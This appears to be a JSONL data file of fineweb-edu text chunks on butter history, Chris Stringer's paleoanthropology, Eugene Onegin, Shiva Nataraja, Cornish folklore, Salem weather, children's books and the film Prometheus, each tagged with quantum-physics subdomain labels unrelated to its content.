amount of butterfat in the finished product is a vital aspect of production. in the united states, products sold as \" butter \" are required to contain a minimum of 80 % butterfat ; in practice most american butters contain only slightly more than that, averaging around 81 % butterfat. european butters generally have a higher ratio, which may extend up to 85 %. clarified butter is butter with almost all of its water and milk solids removed, leaving almost - pure butterfat. clarified butter is made by heating butter to its melting point and then allowing it to cool off ; after settling, the remaining components separate by density. at the top, whey proteins form a skin which is removed, and the resulting butterfat is then poured off from the mixture of water and casein proteins that settle to the bottom. ghee is clarified butter which is brought to higher temperatures of around 120 \u00b0c ( 250 \u00b0f ) once the water has cooked off, allowing the milk solids to brown. this process flavors the ghee, and also produces antioxidants which help protect it longer from rancidity. because of this, ghee can keep for six to eight months under normal conditions. since even accidental agitation can form butter from cream, it is likely that its invention dates from the earliest days of dairying, perhaps in the mesopotamian area between 9000 and 8000 bce. the earliest butter would have been from sheep or goat '", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.504210913902106, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 3, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.115655"} {"text": "since even accidental agitation can form butter from cream, it is likely that its invention dates from the earliest days of dairying, perhaps in the mesopotamian area between 9000 and 8000 bce. the earliest butter would have been from sheep or goat ' s milk ; cattle are not thought to have been domesticated for another thousand years. an ancient method of butter making, still used today in parts of africa and the near east, involves a goat skin half filled with milk, and inflated with air before being sealed. the skin is then hung with ropes on a tripod of sticks, and rocked until the movement leads to the formation of butter. butter was known in the classical mediterranean civilizations, but it does not seem to have been a common food. in the mediterranean climate, unclarified butter spoils quickly \u2014 unlike cheese it is not a practical method of preserving the nutrients of milk. the ancient greeks and romans seemed to have considered butter a food fit more for the northern barbarians. a play by the greek comic poet anaxandrides refers to thracians as boutyrophagoi ; \" butter - eaters \". in natural history, pliny the elder calls butter \" the most delicate of food among barbarous nations \", and goes on to describe its medicinal properties. later, the physician galen also described butter as a medicinal agent only. historian and linguist andrew dalby says that most references to butter in ancient near eastern texts should more correctly be translated as ghee. ghee is mentioned in the periplus of the erythraean sea as a typical trade article around the 1st century ce arabian sea, and roman geographer strabo describes it as a commodity of arabia and sudan. in india, ghee has been a symbol of purity and an offering to the gods \u2014 especially agni, the hindu god of fire \u2014 for more than 3000 years ; references to ghee ' s sacred nature appear numerous times in the rig veda, circa 1500 \u2013 1200 bce. the tale of the child krishna stealing butter remains a popular children ' s story in india today. since india ' s prehistory, ghee has been both a staple food and used for ceremonial purposes such as fueling holy lamps and funeral pyres. the cooler climates of northern europe allowed butter to be stored for a longer period before it spoiled. scandinavia has the oldest tradition in europe of butter export trade, dating at least to the 12th century. after the fall of rome and through much of the middle ages, butter was a", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.45435027767448366, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 4, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.116615"} {"text": "europe allowed butter to be stored for a longer period before it spoiled. scandinavia has the oldest tradition in europe of butter export trade, dating at least to the 12th century. after the fall of rome and through much of the middle ages, butter was a common food across most of europe, but one with a low reputation, and was consumed principally by peasants. butter slowly became more accepted by the upper class, notabally when the early 16th century roman catholic church allowed its consumption during lent. bread and butter became common fare among the middle class and the english, in particular, gained a reputation for their liberal use of melted butter as a sauce with meat and vegetables. in antiquity, butter was used for fuel in lamps as a substitute for oil. the butter tower of rouen cathedral was erected in the early 16th century, when archbishop georges d ' amboise, oil was scarce at the time, authorised the burning of butter instead of oil during lent. across northern europe, butter was sometimes treated in a manner unheard - of today : it was packed into barrels ( firkins ) and buried in peat bogs, perhaps for years. such \" bog butter \" would develop a strong flavor as it aged, but remain edible, in large part because of the unique cool, airless, antiseptic and acidic environment of a peat bog. firkins of such buried butter are a common archaeological find in ireland ; the irish national museum has some containing \" a grayish cheese - like substance, partially hardened, not much like butter, and quite free from putrefaction. \" the practice was most common in ireland in the 11th \u2013 14th centuries ; it ended entirely before the 19th century. until the 19th century, the vast majority of butter was made by hand, on farms. the first butter factories appeared in the united states in the early 1860s, after the successful introduction of cheese factories a decade earlier. in the late 1870s, the centrifugal cream separator was introduced, marketed most successfully by swedish engineer carl gustaf patrik de laval. this dramatically sped up the butter - making process by eliminating the slow step of letting cream naturally rise to the top of milk. initially, whole milk was shipped to the butter factories, and the cream separation took place there. soon, though, cream - separation technology became small and inexpensive enough to introduce an additional efficiency : the separation was accomplished on the farm, and the cream alone shipped to the factory. by 1900, more than half the butter produced in the united states was factory made ; europe followed suit", "subdomain_id": "subdomain_quantum_thermodynamics", "similarity_score": 0.45198969790409016, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 5, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.117572"} {"text": "separation technology became small and inexpensive enough to introduce an additional efficiency : the separation was accomplished on the farm, and the cream alone shipped to the factory. by 1900, more than half the butter produced in the united states was factory made ; europe followed suit shortly after. in 1920, otto hunziker authored the butter industry, prepared for factory, school and laboratory, a well - known text in the industry that enjoyed at least three editions ( 1920, 1927, 1940 ). as part of the efforts of the american dairy science association, professor hunziker and others published articles regarding : causes of tallowiness ( an odor defect, distinct from rancidity, a taste defect ) ; mottles ( an aesthetic issue related to uneven color ) ; introduced salts ; the impact of creamery metals and liquids ; and acidity measurement. these and other adsa publications helped standardize practices internationally. per capita butter consumption declined in most western nations during the 20th century, in large part because of the rising popularity of margarine, which is less expensive and, until recent years, was perceived as being healthier. in the united states, margarine consumption overtook butter during the 1950s and it is still the case today that more margarine than butter is eaten in the u. s. and the eu. in the united states, butter sticks are usually produced and sold in 4 - ounce sticks, wrapped in wax paper and sold four to a carton. this practice is believed to have originated in 1907 when swift and company began packaging butter in this manner for mass distribution. due to historical variances in butter printers, these sticks are commonly produced in two differing shapes : both sticks contain the same amount of butter, although most butter dishes are designed for elgin - style butter sticks. the stick ' s wrapper is usually marked off as eight tablespoons ( ) ; the actual volume of one stick is approximately nine tablespoons ( ). india produces and consumes more butter than any other nation, and allocates almost half of its annual milk pool to butter production. in 1997, india produced of butter, most of which was consumed domestically. second in production was the united states followed by france germany and new zealand ( ). in terms of consumption, germany was second after india, using of butter in 1997, followed by france russia and the united states ( ). new zealand, australia, and the ukraine are among the few nations that export a significant percentage of the butter they produce. different varieties are found around the world.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.45647377607415646, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 6, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.118569"} {"text": ", using of butter in 1997, followed by france russia and the united states ( ). new zealand, australia, and the ukraine are among the few nations that export a significant percentage of the butter they produce. different varieties are found around the world. smen is a spiced moroccan clarified butter, buried in the ground and aged for months or years. yak butter is important in tibet ; tsampa, barley flour mixed with yak butter, is a staple food. butter tea is consumed in the himalayan regions of tibet, bhutan, nepal and india. it consists of tea served with intensely flavored \u2014 or \" rancid \" \u2014 yak butter and salt. in african and asian developing nations, butter is traditionally made from sour milk rather than cream. it can take several hours of churning to produce workable butter grains from fermented milk. \" french butter dishes \" or \" acadian butter dishes \" involve a lid with a long interior lip, which sits in a container holding a small amount of water. usually the dish holds just enough water to submerge the interior lip when the dish is closed. butter is packed into the lid. the water acts as a seal to keep the butter fresh, and also keeps the butter from overheating in hot temperatures. this allows butter to be safely stored on the countertop for several days without spoilage. once butter is softened, spices, herbs, or other flavoring agents can be mixed into it, producing what is called a compound butter or composite butter ( sometimes also called composed butter ). compound butters can be used as spreads, or cooled, sliced, and placed onto hot food to melt into a sauce. sweetened compound butters can be served with desserts ; such hard sauces are often flavored with spirits. melted butter plays an important role in the preparation of sauces, most obviously in french cuisine. beurre noisette ( hazel butter ) and beurre noir ( black butter ) are sauces of melted butter cooked until the milk solids and sugars have turned golden or dark brown ; they are often finished with an addition of vinegar or lemon juice. hollandaise and bearnaise sauces are emulsions of egg yolk and melted butter ; they are in essence mayonnaises made with butter instead of oil. hollandaise and bearnaise sauces are stabilized with the powerful emulsifiers in the egg yolks, but butter itself contains enough emulsifiers \u2014 mostly remnants of the fat globule membranes", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4602505759126462, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 7, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.119651"} {"text": "made with butter instead of oil. hollandaise and bearnaise sauces are stabilized with the powerful emulsifiers in the egg yolks, but butter itself contains enough emulsifiers \u2014 mostly remnants of the fat globule membranes \u2014 to form a stable emulsion on its own. beurre blanc ( white butter ) is made by whisking butter into reduced vinegar or wine, forming an emulsion with the texture of thick cream. beurre monte ( prepared butter ) is melted but still emulsified butter ; it lends its name to the practice of \" mounting \" a sauce with butter : whisking cold butter into any water - based sauce at the end of cooking, giving the sauce a thicker body and a glossy shine \u2014 as well as a buttery taste. in poland, the butter lamb ( baranek wielkanocny ) is a traditional addition to the easter meal for many polish catholics. butter is shaped into a lamb either by hand or in a lamb - shaped mould. butter is used for sauteing and frying, although its milk solids brown and burn above 150 \u00b0c ( 250 \u00b0f ) \u2014 a rather low temperature for most applications. the smoke point of butterfat is around 200 \u00b0c ( 400 \u00b0f ), so clarified butter or ghee is better suited to frying. ghee has always been a common frying medium in india, where many avoid other animal fats for cultural or religious reasons. butter fills several roles in baking, where it is used in a similar manner as other solid fats like lard, suet, or shortening, but has a flavor that may better complement sweet baked goods. many cookie doughs and some cake batters are leavened, at least in part, by creaming butter and sugar together, which introduces air bubbles into the butter. the tiny bubbles locked within the butter expand in the heat of baking and aerate the cookie or cake. some cookies like shortbread may have no other source of moisture but the water in the butter. pastries like pie dough incorporate pieces of solid fat into the dough, which become flat layers of fat when the dough is rolled out. during baking, the fat melts away, leaving a flaky texture. butter, because of its flavor, is a common choice for the fat in such a dough, but it can be more difficult to work with than shortening because of its low melting point. pastry makers often chill all their ingredients and utensils while working with a butter", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4764356577790706, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 8, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.120697"} {"text": "its flavor, is a common choice for the fat in such a dough, but it can be more difficult to work with than shortening because of its low melting point. pastry makers often chill all their ingredients and utensils while working with a butter dough. butter also has many non - culinary, traditional uses which are specific to certain cultures. for instance, in north america, applying butter to the handle of a door is a common prank on april fools ' day. according to usda figures, one tablespoon of butter contains, all from fat, of fat, of which are saturated fat, and of cholesterol. in other words, butter consists mostly of saturated fat and is a significant source of dietary cholesterol. for these reasons, butter has been generally considered to be a contributor to health problems, especially heart disease. for many years, vegetable margarine was recommended as a substitute, since it is an unsaturated fat and contains little or no cholesterol. in recent decades, though, it has become accepted that the trans fats contained in partially hydrogenated oils used in typical margarines significantly raise undesirable ldl cholesterol levels as well. trans - fat free margarines have since been developed. butter contains only traces of lactose, so moderate consumption of butter is not a problem for the lactose intolerant. people with milk allergies need to avoid butter, which contains enough of the allergy - causing proteins to cause reactions. butter can form a useful role in dieting by providing satiety. a small amount added to low fat foods such as vegetables may stave off feelings of hunger.", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.43308024178186333, "token_count": 339, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 9, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.121357"} {"text": "their research is advancing on three fronts. fossils of skulls and bones expose anatomical changes. genetics reveals the timing and place of the eve of modern humans. and archaeology turns up ancient artifacts reflecting abstract and creative thought, and a growing self - awareness. just last month, researchers made the startling announcement that stone age paintings in spanish caves were much older than previously thought, from a time when neanderthals were still alive. to help make sense of this cascade of new information, a leading authority on modern human evolution \u2014 the british paleoanthropologist chris stringer \u2014 recently sat for an interview in new york that ranged across many recent developments : the evidence of interbreeding between neanderthals and homo sapiens ; the puzzling extinct species of little people nicknamed the hobbits ; and the implications of a girl \u2019 s 40, 000 - year - old pinkie finger found in a siberian cave. dr. stringer, an animated man of 64, is an anthropologist at the natural history museum in london and a fellow of the royal society. but he belies the image of a don : he showed up for our interview wearing a t - shirt and jeans, looking as if he had just come in from the field. a condensed and edited version of our conversation follows. in it and in a new book, he describes a new wrinkle to the hypothesis of a recent african origin of modern homo sapiens. his ideas may light up more debate in a contentious science.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.5010088271245691, "token_count": 300, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.122982"} {"text": "opera essentials : eugene onegin a guide to tchaikovsky \u2019 s most popular opera. eugene onegin by pyotr il \u2019 yich tchaikovsky tells the story of literature - loving tatyana who falls passionately in love with dashing and worldly eugene onegin. onegin rejects her, despite having feelings for her. his subsequent actions lead to tragedy. years later, believing that he is incapable of happiness, onegin unexpectedly meets tatyana again \u2026 the story of eugene onegin is taken from the novel in verse of the same name by alexander pushkin. a singer friend of tchaikovsky suggested that pushkin \u2019 s story would make a fine opera. tchaikovsky became so excited that he stayed awake all that night working out the scenario. he wrote much of his libretto himself, sometimes setting pushkin verbatim as in tatyana \u2019 s letter scene, and occasionally ( as with prince gremin \u2019 s aria ) writing his own text. tchaikovsky wanted eugene onegin to be simple and direct in style, very different to the grand operas so popular in the 1870s. he referred to the piece as \u2018 seven lyric scenes \u2019 rather than as an \u2018 opera \u2019, and arranged for the premiere to be performed by moscow conservatory students, who he felt would act more convincingly than the singers at the bolshoi theatre. the premiere was admired, and by 1884 eugene onegin had become a staple of the russian repertory, and the favourite opera of tsar alexander iii. tchaikovsky demonstrates sympathy for all four principal characters in eugene onegin, particularly the complex tatyana and onegin. onegin begins as an elegant dandy ; his increasingly passionate music in the later scenes reveals his growing understanding both of his past mistakes and of his love for tatyana. tatyana evolves from the ardent girl of the letter scene to a woman still very much in love, but more restrained, aware that she cannot remake the past. kasper holten \u2019 s production focuses on the power of memory \u2013 how it shapes us and how we gain self - knowledge through experience. the stage becomes increasingly full of objects symbolic for tatyana and onegin as time passes and they and finally realize that they can never return to their past lives. eugene onegin runs from 4 \u2013 20 february 2013. tickets have now sold out, but day tickets and returns may still be available. the production is generously supported by the monument trust with additional philanthropic support from sir simon and lady robertson, david hancock and the artists \u2019 circle. the production director is generously", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.3983580598077098, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.125742"} {"text": "tell me friend what strange man is this? his form is smeared with ashes white a serpent rears upon his hand in cryptic speech he seems well versed what manner of man is he? why look at his ashes or fear his serpent or heed his elusive all you need to know is this he is the essence the god of all that lives and moves1 so sang saint manikkavachakar of the god shiva, using the popular mode of a question - and - answer song ( calalo ) to acknowledge the paradox that the deity who is the highest of the high is at the same time the god of eccentric dress, ornaments and attributes. shiva is the beautiful god of the matted jata or dreadlocks, which are wound together and piled high on his head. adorning them are a crescent moon, a skull and a serpent, together with shiva \u2019 s favourite blossoms, the konrai or wild cassia and the unmattai or hornblower flower. on his forehead is a vertical third eye, symbolising his omniscient powers. 01shiva shiva as nataraja ( lord of dance ), eleventh century, bronze, height 111. 5 cm. the cleveland museum of art, purchase from the j. h. wade fund, 1930. 331. photo : \u00a9 the cleveland museum of art, purchase from the j. h. wade fund 1930. 331 shiva as nataraja ( lord of dance ), eleventh century, bronze, height 111. 5 cm. the cleveland museum of art, purchase from the j. h. wade fund, 1930. 331. photo : shiva \u2019 s attributes are a trident and a battleaxe, his weapons of choice. his favourite companion, an antelope, invariably accompanies him, often transformed into an attribute poised on one of his rear hands. he is the lord adorned with serpents ; apart from peeping through his dreadlocks, serpents serve variously as his loincloth, belt, scarf, necklace, armlet, wristband or anklet. shiva \u2019 s mountain home is kailasa in the snowbound himalayas, and his consort parvati ( daughter of the mountains ) is likewise from the north. the sixty - three tamil shaivite poet - saints who lived between the sixth and ninth centuries relocated this god, together with his consort whom they called uma, to the lush paddy fields, sandy shores and coconut groves of southern india, singing of how he chose to take up residence in the temples of tamil nadu", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4661536682482308, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.130986"} {"text": "between the sixth and ninth centuries relocated this god, together with his consort whom they called uma, to the lush paddy fields, sandy shores and coconut groves of southern india, singing of how he chose to take up residence in the temples of tamil nadu. in the sanctum itself, shiva is always represented in the form of a pillar - like linga emblem but on the outer walls of temples and in the bronze images created for temple festivals, shiva took on a number of manifestations, including nataraja ( lord of dance ), tripuravijaya ( victor of the three cities ), somaskanda ( with uma and infant skanda ), shrikantha ( lord of the auspicious neck ) and chandrashekhara ( lord crowned with the moon ). in his snowbound mountain home of kailasa, shiva is said to have invented 108 types of dance as nataraja ( lord of dance ), perhaps to be identified with the 108 karanas or poses of indian classical dance. shiva dances in triumph at defeating demons, or for the pleasure of his consort and, through his celebrated cosmic dance known as ananda tandava or dance of bliss, he is believed to dance the world into extinction only to dance it back into existence as part of the cyclical time system of india. as nataraja ( nata meaning dance and raja meaning king in sanskrit ), shiva stands in theatrical splendour on his bent right leg, while his gracefully poised left foot is raised high across his body. in his left rear hand he holds fire, signifying destruction, while his right rear hand holds a damaru drum, whose sound denotes creation. his right front hand is raised in a gesture of protection. closely associated with the sacred chola temple of chidambaram, dancing shiva, hailed by the french sculptor auguste rodin as the perfect embodiment of rhythmic movement, appears to have become almost a symbol for the chola dynasty. in this bronze nataraja, shiva stands serene and assured, master of the universe, within a circular prabha aureole framed with five - tipped flames that represent the oscillating universe. the god rests his right foot on the back of the dwarfish demonic figure of mushalagan, representing darkness and ignorance to be overcome, who meekly raises his head to look up at the lord. the detailing is finely executed and the skull, crescent moon and crane feathers crowning his head are clearly delineated, although his matt", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4739789188892976, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.131947"} {"text": "burning animals alive. here can be no doubt but that a belief prevailed, until a very recent period, amongst the small farmers in the districts ' remote from towns, in cornwall, that a living sacrifice appeased the wrath of god. this sacrifice must be by fire ; and i have heard it argued that the bible gave them warranty for this belief. the accompanying notes, from hone ' s \" every - day book, \" and from drew and hitchen ' s \" cornwall, \" prove the prevalence - - at least at the commencement of this century - - of this idea. i have lately been informed that within the last few years a calf has been thus sacrificed by a farmer, in a district where churches, chapels, and schools abound. the burning of blood, drawn from a deceased animal, has been a very common mode of appeasing the spirits of disease. \" there are too many obvious traces of the fact to doubt its truth, that the making of bonfires, and the leaping through them, are vestiges of the ancient worship of the heathen god bal ; and therefore it is, with propriety, that the editor of \" time ' s telescope \" adduces a recent occurrence from drew and hitchin ' s \" history of cornwall, \" as a probable remnant of pagan superstition in that country. he presumes that the vulgar notion which gave rise to it was derived from the druidical sacrifice of beasts : ' an ignorant old farmer in cornwall, having met with some severe losses in his cattle about the year 1800, was much afflicted with his misfortunes. to stop the growing evil, he applied - to the farriers in his neighbourhood, but unfortunately he applied in vain. the malady still continuing, and all remedies failing, he thought it necessary to have recourse to some extraordinary measure. accordingly, on consulting with some of his neighbours, equally ignorant with himself, and evidently not less barbarous, they recalled to their recollections a tale, which tradition had handed down from remote antiquity, that the calamity would not cease until he had actually burned alive the finest calf which lie had upon his farm ; but that, when this sacrifice was made, the murrain would afflict his cattle no more. the old farmer, influenced by this counsel, resolved immediately on reducing it to practice ; that, by making the detestable experiment, he might secure an advantage which the whisperers of tradition and the advice of his", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.4834045052724852, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.137252"} {"text": "afflict his cattle no more. the old farmer, influenced by this counsel, resolved immediately on reducing it to practice ; that, by making the detestable experiment, he might secure an advantage which the whisperers of tradition and the advice of his neighbours had conspired to assure him would follow. he accordingly called several of his friends together on an appointed day, and having lighted a large fire, brought forth his best calf, and without ceremony or remorse, pushed it into the flames. the innocent victim, on feeling the intolerable heat, endeavoured to escape ; but this was in vain. the barbarians that surrounded the fire were armed with pitchforks, or pikes, as in cornwall they are generally called ; and, as the burning victim endeavoured to escape from death, with these instruments of cruelty the wretches pushed back the tortured animal into the flames. in this state, amidst the wounds of pitchforks, the shouts of unfeeling ignorance and cruelty, and the corrosion of flames, the dying victim poured out its expiring groan, and was consumed to ashes. it is scarcely possible to reflect on this instance of superstitious barbarity without tracing a kind of resemblance between it and the ancient sacrifices of the druids. tins calf was sacrificed to fortune, or good luck, to avert impending calamity, and to insure future prosperity, and was selected by the farmer as the finest among his herd. ' every intelligent native of cornwall will perceive that this extract from the history of his county is here made for the purpose of shaming the brutally ignorant, if it be possible, into humanity. ' [ a ] the remarks in drew and hitchin are as follows \" there is a tradition in cornwall, which has been handed down from remote antiquity, that farmers may prevent any calamity by burning alive the finest calf they possess. this was so fully believed, tbat even as late as the year i800, an ignorant old farmer, having met with some severe losses in his cattle, determined on being advised by some neighbours, not less barbarous than himself, to try this remedy. he accordingly, on an appointed day, called his friends together, lighted a large fire, brought forth his best calf, and without ceremony or remorse, pushed it into the flames. \" [ while correcting these sheets, i am informed of two recent instances of this superstition. one of them was the sacrifice of a calf by a farmer near portreath, for the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.46083007588695746, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 1, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.138200"} {"text": "the pages of reverend joseph felt ' s annals of salem, a two volume collection of historical facts about the town that was published in 1827 and 1828, are filled with fascinating tidbits about weather extremes and other oddities in salem ' s history. in july 1773 lightning struck a tree on gallows hill and rendered it the shape of a broom. in 1798 another bolt hit the ship martha in salem harbor, killing two sailors and wounding two others. salem experienced a violent hailstorm on august 1, 1815. some hailstones were five inches in circumference. the storm lasted but a few minutes but broke thirty thousand panes of glass in salem alone. every house in the town lost at least one pane. a similar storm in 1819 destroyed 168 panes of glass in a single home on essex street. felt notes : \" human power quailed before its violence. \" snowstorms in 1829 and 1978 dumped at least two feet of the white stuff on salem in a single day. and in what had been a normal july in 1804, snow fell one day in salem and surrounding towns. view of the phillips library, essex street, during a snowfall salem has experienced hurricanes, blizzards, earthquakes, eclipses, and many other natural phenomena. but to local townspeople nothing was as frightening as the \" great darkness \" that fell over the town on may 19, 1780. according to an entry in the diary of william pyncheon, the darkness began descending over the town at ten in the morning on that normal, bright day. over the next two hours the sky grew increasingly dark, and by noon people were eating and reading by candlelight. confused cocks crowed, and a general melancholy fell over the townspeople - - except the sailors, who went \" halloing \" through the streets and taunting the young ladies they encountered to divest themselves of some of their clothing. members of dr. nathaniel whitaker ' s church gathered for solace at their meeting house on school street, now washington street. instead they were rebuked by their pastor, who claimed the darkness was a punishment sent from the lord for past transgressions. the darkness, incidentally, was caused by the smoke from wildfires in northern new england. all rights reserved", "subdomain_id": "subdomain_quantum_optics", "similarity_score": 0.4484092404160283, "token_count": 454, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.141498"} {"text": "war horse booktalk a gentle horse, forced to live and work in a world at war - grades : 6 \u2013 8 about this book in the town hall of a small english village hangs a picture of a horse. he stands, a beautiful red bay with a white cross on his forehead and four perfectly matched white hocks. he look wistfully out of the picture, head turned as if he ' d just noticed someone standing there. to the villagers, it ' s been there so long that they don ' t notice it any more. but to someone looking at it more carefully, it ' s easy to see the inscription at the bottom of the frame. \" joey. painted by captain james nicholls, autumn, 1914. \" this is joey ' s story, written so no one will ever forget him or those who knew him, or the war that they lived and died in. joey was a farm horse, half thoroughbred, but still forced to pull a plow. still, he was a young horse, fond of albert, the boy who took care of him, and he enjoyed his life. but all that changed when war was declared. albert ' s father needed money for the farm, and he sold joey to captain nicholls. the transformation from farm horse to cavalry horse was difficult. joey had to learn discipline, to obey his rider quickly and instinctively. the trainer was harsh, but the captain was as gentle as albert had been. joey trusted him. it wasn ' t long before they were on a ship headed to france and the war. a soldier artist and a farm horse \u2014 they ' d never been to war, or even heard a shot fired in anger. they would have preferred to be almost anywhere else. but they had no choice \u2014 they were military and the battle lines had been drawn. they saw the results as soon as they stepped off the ship to walk past unending lines of wounded waiting to go back to england, faces etched with misery and pain. finally, the captain and his men saw for themselves the kind of war they ' d be going into, and there wasn ' t a single man in the squadron who seemed prepared for it. horses and swords against german machine guns and artillery. gentle men and animals forced to become killers, and dying to protect their country and their beliefs, not knowing if they ' d ever get home again. the world at war \u2014 world war one.", "subdomain_id": "subdomain_quantum_gravity", "similarity_score": 0.44438697732809523, "token_count": 485, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.144452"} {"text": "the magic school bus gets programmed - grades : prek \u2013 k, 1 \u2013 2, 3 \u2013 5 ms. frizzle ' s class arrives early to open the school for mr. ruhle. but there ' s so much to do! ' there must be a way of doing all these chores without actually doing them, ' says carlos. the school handyman, mr. mcclean, is in total agreement. enter mr. ruhle ' s new computer! then enter mikey, carlos ' s whiz - kid brother, who programs the computer to do all the chores. but when ms. frizzle shrinks mikey and sends him inside the computer for a guided tour, everything goes crazy. and the only person who can fix the problem is mikey - who is somewhere between the cpu and the hard drive! time : 40 minutes group size : 4 one tiny mistake in mikey ' s computer program has the school ' s system in an uproar. your kids learn that computer tasks must be broken into small parts. what you need for each student : - copy of i compute page talk about it ask : what do computers do? how are computers like other machines? how are they different? what to do - ask : what tells a computer what to do? ( a program in a computer language ) what is a program? ( a set of step - by - step instructions to accomplish a task ) can you follow a program? - space groups in separate squares, with four pencils in the center of the square. - have kids act out the pencil pass program instructions. are more instructions needed for bit # 1 and bit # 2? are there \u201c bugs \u201d - mistakes? if so, challenge kids to fix them. - have groups compete the program to pass out pencils. let them present the programs they write. ask : how many ways did we find to accomplish the same task? examine a computer. unplug it from the wall. where do the cables go? unscrew and remove the cover. find - don \u2019 t touch - the floppy drive, hard drive, motherboard, cpu, other components. caution! never open a monitor. it stores shocking voltage.", "subdomain_id": "subdomain_quantum_computing", "similarity_score": 0.5094850108597634, "token_count": 447, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.148880"} {"text": "mini darwin on galapagos : evolution in the words of children friday 09th october 2009 from 10h15 to 11h45 salle 2 / grand amphitheatre - directed by - paola catapano - written by - simona cerrata & paola catapano - produced by - socia & pistoia srl / rai educational / ruvido produzioni documentary, italy, 2007, 40 min during an expedition on the galapagos islands, seven children follow charles darwin \u2019 s tracks to repeat his observations and experiments in a playful and didactic way and discover the evolution of the species through natural selection. by observing the geology of the volcanic archipelago, the children draw conclusions on adaptation. by making drawings of turtles and blue or red - footed birds, they learn all the secrets of taxonomy and differences among species. an amusing \" eggs \u2019 hunting \" game is their way of understanding mimetism, while the \" beauty \" game reveals the mechanisms of sexual selection. oceanography lessons teach them why one can find penguins on the equator. at the darwin station they analyze their samples of phytoplankton just fished in the sea, in preparation of a lesson on the food chain... debate with : - paola catapano, director - guillaume lecointre, team leader at the umr 7138 cnrs - upmc - mnhn - ird", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.467367186585288, "token_count": 286, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, "filtering_threshold": 0.35, "created_at": "2025-12-18T05:22:16.150378"} {"text": "one of the more intriguing, and controversial, thematic aspects of ridley scott \u2019 s new film prometheus involves its overt discussions of science and faith. the character of dr. elizabeth shaw is a scientist whose father was a catholic missionary. she retains her religious faith even after she finds scientific evidence that an ancient alien species created humanity in its own image using genetic engineering. rather than question the concept of a supernatural creator, she merely shifts her belief to the notion of an intergalactic god who created the creator species. it will certainly be interesting to see how the scientific community responds to ridley scott \u2019 s embracing of the pseudoscience \u201c ancient astronaut theory \u201d promoted in erich von daniken \u2019 s 1968 book chariots of the gods. but, it will be even more interesting to see how religious communities respond to this plotline. the notion of an external force playing a role in humanity \u2019 s creation is a concept which has the potential to both delight and anger religious groups. on the one hand, the film \u2019 s positing of humanity \u2019 s descent from ancient aliens takes human creation out of god \u2019 s hands. on the other hand, the film provides support for the idea that human development required direct assistance from an outside entity. the film also leaves open the possibility that a supernatural being was responsible for the larger act of creation. as part of a book i am writing on science, religion, and cinema i have examined a number of ways in which religious groups, in particular christian communities, have responded to scientific depictions and themes in movies. it is still too early to tell how religious groups will react to prometheus, but we can examine how religious groups have previously reacted to science fiction films featuring alien beings as the creators or saviors of humanity. prometheus is not the first science fiction film to embed issues related to science and religion within its plot of extraterrestrial visitors. the concept of aliens coming to earth was a rarity in science fiction films until the 1950s, but one of the first films featuring this storyline was a not so subtle christian allegory. in 1951 \u2019 s the day the earth stood still, a visitor from the heavens comes to earth with a message of peace and love, is killed by the authorities, and resurrected before leaving and promising to return again. the parallels to the christian story were hard to ignore and the similarity did not sit well with hollywood \u2019 s censorship board \u2014 the production code administration ( pca ). the head of the pca, joseph breen, particularly objected to the", "subdomain_id": "subdomain_quantum_field_theory", "similarity_score": 0.5289002676860278, "token_count": 512, "source_dataset": "HuggingFaceFW/fineweb-edu", "source_id": "", "chunk_index": 0, 